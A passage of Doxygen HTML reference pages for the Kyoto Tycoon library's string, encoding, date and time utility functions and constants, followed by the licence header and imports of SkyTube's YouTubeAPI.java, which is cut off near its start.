class="memproto"> <table class="memname"> <tr> <td class="memname">char * kyototycoon::xmlunescape </td> <td>(</td> <td class="paramtype">const char *&nbsp;</td> <td class="paramname"> <em>str</em></td> <td>&nbsp;)&nbsp;</td> <td></td> </tr> </table> </div> <div class="memdoc"> <p>Unescape meta characters in a string with the entity references of XML. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>str</em>&nbsp;</td><td>the string. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>the unescaped string. </dd></dl> <dl class="note"><dt><b>Note:</b></dt><dd>Because the region of the return value is allocated with the the new[] operator, it should be released with the delete[] operator when it is no longer in use. </dd></dl> </div> </div> <a class="anchor" id="a51ba34f6b6711f07c02f3ba0e782c2b5"></a><!-- doxytag: member="kyototycoon::wwwformtomap" ref="a51ba34f6b6711f07c02f3ba0e782c2b5" args="(const std::string &amp;str, std::map&lt; std::string, std::string &gt; *map)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::wwwformtomap </td> <td>(</td> <td class="paramtype">const std::string &amp;&nbsp;</td> <td class="paramname"> <em>str</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">std::map&lt; std::string, std::string &gt; *&nbsp;</td> <td class="paramname"> <em>map</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Parse a www-form-urlencoded string and store each records into a map. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>str</em>&nbsp;</td><td>the source string. </td></tr> <tr><td valign="top"></td><td valign="top"><em>map</em>&nbsp;</td><td>the destination string map. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="acea4a86ae2e44a506e6b0ebe44cd761c"></a><!-- doxytag: member="kyototycoon::maptowwwform" ref="acea4a86ae2e44a506e6b0ebe44cd761c" args="(const std::map&lt; std::string, std::string &gt; &amp;map, std::string *str)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::maptowwwform </td> <td>(</td> <td class="paramtype">const std::map&lt; std::string, std::string &gt; &amp;&nbsp;</td> <td class="paramname"> <em>map</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">std::string *&nbsp;</td> <td class="paramname"> <em>str</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Serialize a string map into a www-form-urlencoded string. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>map</em>&nbsp;</td><td>the source string map. </td></tr> <tr><td valign="top"></td><td valign="top"><em>str</em>&nbsp;</td><td>the destination string. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="ad38810f301b838fab6880377315827b9"></a><!-- doxytag: member="kyototycoon::tsvtomap" ref="ad38810f301b838fab6880377315827b9" args="(const std::string &amp;str, std::map&lt; std::string, std::string &gt; *map)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::tsvtomap </td> <td>(</td> <td class="paramtype">const std::string &amp;&nbsp;</td> <td class="paramname"> <em>str</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">std::map&lt; std::string, std::string &gt; *&nbsp;</td> <td class="paramname"> <em>map</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Parse a TSV string and store each records into a map. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>str</em>&nbsp;</td><td>the source string. </td></tr> <tr><td valign="top"></td><td valign="top"><em>map</em>&nbsp;</td><td>the destination string map. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a911909ae1363cedd2db7dad46d6c821a"></a><!-- doxytag: member="kyototycoon::maptotsv" ref="a911909ae1363cedd2db7dad46d6c821a" args="(const std::map&lt; std::string, std::string &gt; &amp;map, std::string *str)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::maptotsv </td> <td>(</td> <td class="paramtype">const std::map&lt; std::string, std::string &gt; &amp;&nbsp;</td> <td class="paramname"> <em>map</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">std::string *&nbsp;</td> <td class="paramname"> <em>str</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Serialize a string map into a TSV string. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>map</em>&nbsp;</td><td>the source string map. </td></tr> <tr><td valign="top"></td><td valign="top"><em>str</em>&nbsp;</td><td>the destination string. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a646fcad970da491ffc6f4953bd4bec7e"></a><!-- doxytag: member="kyototycoon::tsvmapencode" ref="a646fcad970da491ffc6f4953bd4bec7e" args="(std::map&lt; std::string, std::string &gt; *map, int32_t mode)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::tsvmapencode </td> <td>(</td> <td class="paramtype">std::map&lt; std::string, std::string &gt; *&nbsp;</td> <td class="paramname"> <em>map</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t&nbsp;</td> <td class="paramname"> <em>mode</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Encode each record of a string map. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>map</em>&nbsp;</td><td>the string map. </td></tr> <tr><td valign="top"></td><td valign="top"><em>mode</em>&nbsp;</td><td>the encoding mode. 'B' for Base64 encoding, 'Q' for Quoted-printable encoding, 'U' for <a class="el" href="classkyototycoon_1_1URL.html" title="URL accessor.">URL</a> encoding. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a40609df3cecfe149f0d09f4ca750644f"></a><!-- doxytag: member="kyototycoon::tsvmapdecode" ref="a40609df3cecfe149f0d09f4ca750644f" args="(std::map&lt; std::string, std::string &gt; *map, int32_t mode)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::tsvmapdecode </td> <td>(</td> <td class="paramtype">std::map&lt; std::string, std::string &gt; *&nbsp;</td> <td class="paramname"> <em>map</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t&nbsp;</td> <td class="paramname"> <em>mode</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Decode each record of a string map. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>map</em>&nbsp;</td><td>the string map. </td></tr> <tr><td valign="top"></td><td valign="top"><em>mode</em>&nbsp;</td><td>the encoding mode. 'B' for Base64 encoding, 'Q' for Quoted-printable encoding, 'U' for <a class="el" href="classkyototycoon_1_1URL.html" title="URL accessor.">URL</a> encoding. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="aa016a36936911f0dfb64863093b8a27b"></a><!-- doxytag: member="kyototycoon::checkmapenc" ref="aa016a36936911f0dfb64863093b8a27b" args="(const std::map&lt; std::string, std::string &gt; &amp;map)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">int32_t kyototycoon::checkmapenc </td> <td>(</td> <td class="paramtype">const std::map&lt; std::string, std::string &gt; &amp;&nbsp;</td> <td class="paramname"> <em>map</em></td> <td>&nbsp;)&nbsp;</td> <td></td> </tr> </table> </div> <div class="memdoc"> <p>Check the best suited encoding of a string map. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>map</em>&nbsp;</td><td>the string map. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>the the best suited encoding. 0 for the raw format, 'B' for Base64 encoding, 'Q' for Quoted-printable encoding, </dd></dl> </div> </div> <a class="anchor" id="aff047ef8d15604042a8349d54f344353"></a><!-- doxytag: member="kyototycoon::strcapitalize" ref="aff047ef8d15604042a8349d54f344353" args="(char *str)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">char * kyototycoon::strcapitalize </td> <td>(</td> <td class="paramtype">char *&nbsp;</td> <td class="paramname"> <em>str</em></td> <td>&nbsp;)&nbsp;</td> <td></td> </tr> </table> </div> <div class="memdoc"> <p>Capitalize letters of a string. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>str</em>&nbsp;</td><td>the string to convert. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>the string itself. </dd></dl> </div> </div> <a class="anchor" id="aaa999b301f358a83c5e114f166d933f8"></a><!-- doxytag: member="kyototycoon::strisalnum" ref="aaa999b301f358a83c5e114f166d933f8" args="(const char *str)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool kyototycoon::strisalnum </td> <td>(</td> <td class="paramtype">const char *&nbsp;</td> <td class="paramname"> <em>str</em></td> <td>&nbsp;)&nbsp;</td> <td></td> </tr> </table> </div> <div class="memdoc"> <p>Check a string is composed of alphabets or numbers only. </p> <dl class="return"><dt><b>Returns:</b></dt><dd>true if it is composed of alphabets or numbers only, or false if not. </dd></dl> </div> </div> <a class="anchor" id="a1914e6367fc5124a7a92f9c04a8de1cd"></a><!-- doxytag: member="kyototycoon::strtokenize" ref="a1914e6367fc5124a7a92f9c04a8de1cd" args="(const char *str, std::vector&lt; std::string &gt; *tokens)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::strtokenize </td> <td>(</td> <td class="paramtype">const char *&nbsp;</td> <td class="paramname"> <em>str</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">std::vector&lt; std::string &gt; *&nbsp;</td> <td class="paramname"> <em>tokens</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Tokenize a string separating by space characters. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>str</em>&nbsp;</td><td>the source string. </td></tr> <tr><td valign="top"></td><td valign="top"><em>tokens</em>&nbsp;</td><td>a string vector to contain the result tokens. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="ae0f925395a82daba3c4c81a25840d1e2"></a><!-- doxytag: member="kyototycoon::getcalendar" ref="ae0f925395a82daba3c4c81a25840d1e2" args="(int64_t t, int32_t jl, int32_t *yearp=NULL, int32_t *monp=NULL, int32_t *dayp=NULL, int32_t *hourp=NULL, int32_t *minp=NULL, int32_t *secp=NULL)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::getcalendar </td> <td>(</td> <td class="paramtype">int64_t&nbsp;</td> <td class="paramname"> <em>t</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t&nbsp;</td> <td class="paramname"> <em>jl</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t *&nbsp;</td> <td class="paramname"> <em>yearp</em> = <code>NULL</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t *&nbsp;</td> <td class="paramname"> <em>monp</em> = <code>NULL</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t *&nbsp;</td> <td class="paramname"> <em>dayp</em> = <code>NULL</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t *&nbsp;</td> <td class="paramname"> <em>hourp</em> = <code>NULL</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t *&nbsp;</td> <td class="paramname"> <em>minp</em> = <code>NULL</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t *&nbsp;</td> <td class="paramname"> <em>secp</em> = <code>NULL</code></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Get the Gregorian calendar of a time. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>t</em>&nbsp;</td><td>the source time in seconds from the epoch. If it is kyotocabinet::INT64MAX, the current time is specified. </td></tr> <tr><td valign="top"></td><td valign="top"><em>jl</em>&nbsp;</td><td>the jet lag of a location in seconds. If it is kyotocabinet::INT32MAX, the local jet lag is specified. </td></tr> <tr><td valign="top"></td><td valign="top"><em>yearp</em>&nbsp;</td><td>the pointer to a variable to which the year is assigned. If it is NULL, it is not used. </td></tr> <tr><td valign="top"></td><td valign="top"><em>monp</em>&nbsp;</td><td>the pointer to a variable to which the month is assigned. If it is NULL, it is not used. 1 means January and 12 means December. </td></tr> <tr><td valign="top"></td><td valign="top"><em>dayp</em>&nbsp;</td><td>the pointer to a variable to which the day of the month is assigned. If it is NULL, it is not used. </td></tr> <tr><td valign="top"></td><td valign="top"><em>hourp</em>&nbsp;</td><td>the pointer to a variable to which the hours is assigned. If it is NULL, it is not used. </td></tr> <tr><td valign="top"></td><td valign="top"><em>minp</em>&nbsp;</td><td>the pointer to a variable to which the minutes is assigned. If it is NULL, it is not used. </td></tr> <tr><td valign="top"></td><td valign="top"><em>secp</em>&nbsp;</td><td>the pointer to a variable to which the seconds is assigned. If it is NULL, it is not used. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a77b8bf8385b9b7d2b19f71835298364a"></a><!-- doxytag: member="kyototycoon::datestrwww" ref="a77b8bf8385b9b7d2b19f71835298364a" args="(int64_t t, int32_t jl, char *buf)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::datestrwww </td> <td>(</td> <td class="paramtype">int64_t&nbsp;</td> <td class="paramname"> <em>t</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t&nbsp;</td> <td class="paramname"> <em>jl</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">char *&nbsp;</td> <td class="paramname"> <em>buf</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Format a date as a string in W3CDTF. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>t</em>&nbsp;</td><td>the source time in seconds from the epoch. If it is kyotocabinet::INT64MAX, the current time is specified. </td></tr> <tr><td valign="top"></td><td valign="top"><em>jl</em>&nbsp;</td><td>the jet lag of a location in seconds. If it is kyotocabinet::INT32MAX, the local jet lag is specified. </td></tr> <tr><td valign="top"></td><td valign="top"><em>buf</em>&nbsp;</td><td>the pointer to the region into which the result string is written. The size of the buffer should be equal to or more than 48 bytes. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="af2b7d71a1c09c0274befa24388e6144b"></a><!-- doxytag: member="kyototycoon::datestrwww" ref="af2b7d71a1c09c0274befa24388e6144b" args="(double t, int32_t jl, int32_t acr, char *buf)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::datestrwww </td> <td>(</td> <td class="paramtype">double&nbsp;</td> <td class="paramname"> <em>t</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t&nbsp;</td> <td class="paramname"> <em>jl</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t&nbsp;</td> <td class="paramname"> <em>acr</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">char *&nbsp;</td> <td class="paramname"> <em>buf</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Format a date as a string in W3CDTF with the fraction part. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>t</em>&nbsp;</td><td>the source time in seconds from the epoch. If it is Not-a-Number, the current time is specified. </td></tr> <tr><td valign="top"></td><td valign="top"><em>jl</em>&nbsp;</td><td>the jet lag of a location in seconds. If it is kyotocabinet::INT32MAX, the local jet lag is specified. </td></tr> <tr><td valign="top"></td><td valign="top"><em>acr</em>&nbsp;</td><td>the accuracy of time by the number of columns of the fraction part. </td></tr> <tr><td valign="top"></td><td valign="top"><em>buf</em>&nbsp;</td><td>the pointer to the region into which the result string is written. The size of the buffer should be equal to or more than 48 bytes. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a2e0bbd4f25c677ebf29d802154614df0"></a><!-- doxytag: member="kyototycoon::datestrhttp" ref="a2e0bbd4f25c677ebf29d802154614df0" args="(int64_t t, int32_t jl, char *buf)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void kyototycoon::datestrhttp </td> <td>(</td> <td class="paramtype">int64_t&nbsp;</td> <td class="paramname"> <em>t</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t&nbsp;</td> <td class="paramname"> <em>jl</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">char *&nbsp;</td> <td class="paramname"> <em>buf</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Format a date as a string in RFC 1123 format. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>t</em>&nbsp;</td><td>the source time in seconds from the epoch. If it is kyotocabinet::INT64MAX, the current time is specified. </td></tr> <tr><td valign="top"></td><td valign="top"><em>jl</em>&nbsp;</td><td>the jet lag of a location in seconds. If it is kyotocabinet::INT32MAX, the local jet lag is specified. </td></tr> <tr><td valign="top"></td><td valign="top"><em>buf</em>&nbsp;</td><td>the pointer to the region into which the result string is written. The size of the buffer should be equal to or more than 48 bytes. </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="ad28f227807383d23d55f03929243216e"></a><!-- doxytag: member="kyototycoon::strmktime" ref="ad28f227807383d23d55f03929243216e" args="(const char *str)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">int64_t kyototycoon::strmktime </td> <td>(</td> <td class="paramtype">const char *&nbsp;</td> <td class="paramname"> <em>str</em></td> <td>&nbsp;)&nbsp;</td> <td></td> </tr> </table> </div> <div class="memdoc"> <p>Get the time value of a date string. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>str</em>&nbsp;</td><td>the date string in decimal, hexadecimal, W3CDTF, or RFC 822 (1123). Decimal can be trailed by "s" for in seconds, "m" for in minutes, "h" for in hours, and "d" for in days. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>the time value of the date or INT64_MIN if the format is invalid. </dd></dl> </div> </div> <a class="anchor" id="addcd83afe401f04ab5ba63ab2be087b1"></a><!-- doxytag: member="kyototycoon::jetlag" ref="addcd83afe401f04ab5ba63ab2be087b1" args="()" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">int32_t kyototycoon::jetlag </td> <td>(</td> <td class="paramname"></td> <td>&nbsp;)&nbsp;</td> <td></td> </tr> </table> </div> <div class="memdoc"> <p>Get the jet lag of the local time. </p> <dl class="return"><dt><b>Returns:</b></dt><dd>the jet lag of the local time in seconds. </dd></dl> </div> </div> <a class="anchor" id="af684186e0557a36beadbc68e107225ae"></a><!-- doxytag: member="kyototycoon::dayofweek" ref="af684186e0557a36beadbc68e107225ae" args="(int32_t year, int32_t mon, int32_t day)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">int32_t kyototycoon::dayofweek </td> <td>(</td> <td class="paramtype">int32_t&nbsp;</td> <td class="paramname"> <em>year</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t&nbsp;</td> <td class="paramname"> <em>mon</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int32_t&nbsp;</td> <td class="paramname"> <em>day</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Get the day of week of a date. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>year</em>&nbsp;</td><td>the year of a date. </td></tr> <tr><td valign="top"></td><td valign="top"><em>mon</em>&nbsp;</td><td>the month of the date. </td></tr> <tr><td valign="top"></td><td valign="top"><em>day</em>&nbsp;</td><td>the day of the date. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>the day of week of the date. 0 means Sunday and 6 means Saturday. </dd></dl> </div> </div> <a class="anchor" id="a7b6dcf8106e8f10d46e93ab3639a5188"></a><!-- doxytag: member="kyototycoon::getlocaltime" ref="a7b6dcf8106e8f10d46e93ab3639a5188" args="(time_t time, struct std::tm *result)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool kyototycoon::getlocaltime </td> <td>(</td> <td class="paramtype">time_t&nbsp;</td> <td class="paramname"> <em>time</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">struct std::tm *&nbsp;</td> <td class="paramname"> <em>result</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Get the local time of a time. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>time</em>&nbsp;</td><td>the time. </td></tr> <tr><td valign="top"></td><td valign="top"><em>result</em>&nbsp;</td><td>the resulb buffer. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>true on success, or false on failure. </dd></dl> </div> </div> <a class="anchor" id="a70fec37a906565ba8f6527741fa0d28a"></a><!-- doxytag: member="kyototycoon::getgmtime" ref="a70fec37a906565ba8f6527741fa0d28a" args="(time_t time, struct std::tm *result)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool kyototycoon::getgmtime </td> <td>(</td> <td class="paramtype">time_t&nbsp;</td> <td class="paramname"> <em>time</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">struct std::tm *&nbsp;</td> <td class="paramname"> <em>result</em></td><td>&nbsp;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td><td></td> </tr> </table> </div> <div class="memdoc"> <p>Get the GMT local time of a time. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>time</em>&nbsp;</td><td>the time. </td></tr> <tr><td valign="top"></td><td valign="top"><em>result</em>&nbsp;</td><td>the resulb buffer. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>true on success, or false on failure. </dd></dl> </div> </div> <a class="anchor" id="aacada38d495bc6a4a9f9eeee9563e241"></a><!-- doxytag: member="kyototycoon::mkgmtime" ref="aacada38d495bc6a4a9f9eeee9563e241" args="(struct std::tm *tm)" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">time_t kyototycoon::mkgmtime </td> <td>(</td> <td class="paramtype">struct std::tm *&nbsp;</td> <td class="paramname"> <em>tm</em></td> <td>&nbsp;)&nbsp;</td> <td></td> </tr> </table> </div> <div class="memdoc"> <p>Make the GMT from a time structure. </p> <dl><dt><b>Parameters:</b></dt><dd> <table border="0" cellspacing="2" cellpadding="0"> <tr><td valign="top"></td><td valign="top"><em>tm</em>&nbsp;</td><td>the pointer to the time structure. </td></tr> </table> </dd> </dl> <dl class="return"><dt><b>Returns:</b></dt><dd>the GMT. </dd></dl> </div> </div> <hr/><h2>Variable Documentation</h2> <a class="anchor" id="abd650ccab40869e9652083d1ab724276"></a><!-- doxytag: member="kyototycoon::KTDBINITNAME" ref="abd650ccab40869e9652083d1ab724276" args="" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">const char* const <a class="el" href="namespacekyototycoon.html#abd650ccab40869e9652083d1ab724276">kyototycoon::KTDBINITNAME</a> = &quot;ktdbinit&quot;</td> </tr> </table> </div> <div class="memdoc"> <p>The name of the initializer function. </p> </div> </div> <a class="anchor" id="a58dabb64ef175a6a674bd3fa48cae5b9"></a><!-- doxytag: member="kyototycoon::KTSERVINITNAME" ref="a58dabb64ef175a6a674bd3fa48cae5b9" args="" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">const char* const <a class="el" href="namespacekyototycoon.html#a58dabb64ef175a6a674bd3fa48cae5b9">kyototycoon::KTSERVINITNAME</a> = &quot;ktservinit&quot;</td> </tr> </table> </div> <div class="memdoc"> <p>The name of the initializer function. </p> </div> </div> <a class="anchor" id="adacdf98cae86752dc99be348a3e35cab"></a><!-- doxytag: member="kyototycoon::VERSION" ref="adacdf98cae86752dc99be348a3e35cab" args="" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">const char* const <a class="el" href="namespacekyototycoon.html#adacdf98cae86752dc99be348a3e35cab">kyototycoon::VERSION</a></td> </tr> </table> </div> <div class="memdoc"> <p>The package version. </p> </div> </div> <a class="anchor" id="a12680d9ba4327e7518dfafed27e9eed9"></a><!-- doxytag: member="kyototycoon::LIBVER" ref="a12680d9ba4327e7518dfafed27e9eed9" args="" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">const int32_t <a class="el" href="namespacekyototycoon.html#a12680d9ba4327e7518dfafed27e9eed9">kyototycoon::LIBVER</a></td> </tr> </table> </div> <div class="memdoc"> <p>The library version. </p> </div> </div> <a class="anchor" id="a445836d71c38ea4b7dfdd357d8c8b00d"></a><!-- doxytag: member="kyototycoon::LIBREV" ref="a445836d71c38ea4b7dfdd357d8c8b00d" args="" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">const int32_t <a class="el" href="namespacekyototycoon.html#a445836d71c38ea4b7dfdd357d8c8b00d">kyototycoon::LIBREV</a></td> </tr> </table> </div> <div class="memdoc"> <p>The library revision. </p> </div> </div> <a class="anchor" id="af98f233eec5c28b94f9b59dddab41d66"></a><!-- doxytag: member="kyototycoon::FEATURES" ref="af98f233eec5c28b94f9b59dddab41d66" args="" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">const char* const <a class="el" href="namespacekyototycoon.html#af98f233eec5c28b94f9b59dddab41d66">kyototycoon::FEATURES</a></td> </tr> </table> </div> <div class="memdoc"> <p>The extra feature list. </p> </div> </div> <a class="anchor" id="aebd15b3b803e2e0d38f51c0385b66c43"></a><!-- doxytag: member="kyototycoon::DEFPORT" ref="aebd15b3b803e2e0d38f51c0385b66c43" args="" --> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">const int32_t <a class="el" href="namespacekyototycoon.html#aebd15b3b803e2e0d38f51c0385b66c43">kyototycoon::DEFPORT</a> = 1978</td> </tr> </table> </div> <div class="memdoc"> <p>The default port number. </p> </div> </div> </div> <hr class="footer"/><address style="text-align: right;"><small>Generated on Sat Feb 26 06:20:34 2011 for Kyoto Tycoon by&nbsp; <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.6.3 </small></address> </body> </html>
gpl-3.0
ram-on/SkyTube
app/src/main/java/free/rm/skytube/businessobjects/YouTube/POJOs/YouTubeAPI.java
2605
/* * SkyTube * Copyright (C) 2018 Ramon Mifsud * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation (version 3 of the License). * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package free.rm.skytube.businessobjects.YouTube.POJOs; import android.content.pm.PackageManager; import android.content.pm.Signature; import com.google.api.client.extensions.android.json.AndroidJsonFactory; import com.google.api.client.http.HttpRequest; import com.google.api.client.http.HttpRequestInitializer; import com.google.api.client.http.HttpTransport; import com.google.api.client.http.javanet.NetHttpTransport; import com.google.api.client.json.JsonFactory; import com.google.api.services.youtube.YouTube; import com.google.common.io.BaseEncoding; import java.io.IOException; import java.security.MessageDigest; import free.rm.skytube.BuildConfig; import free.rm.skytube.app.SkyTubeApp; import free.rm.skytube.businessobjects.Logger; /** * Represents YouTube API service. */ public class YouTubeAPI { /** * Returns a new instance of 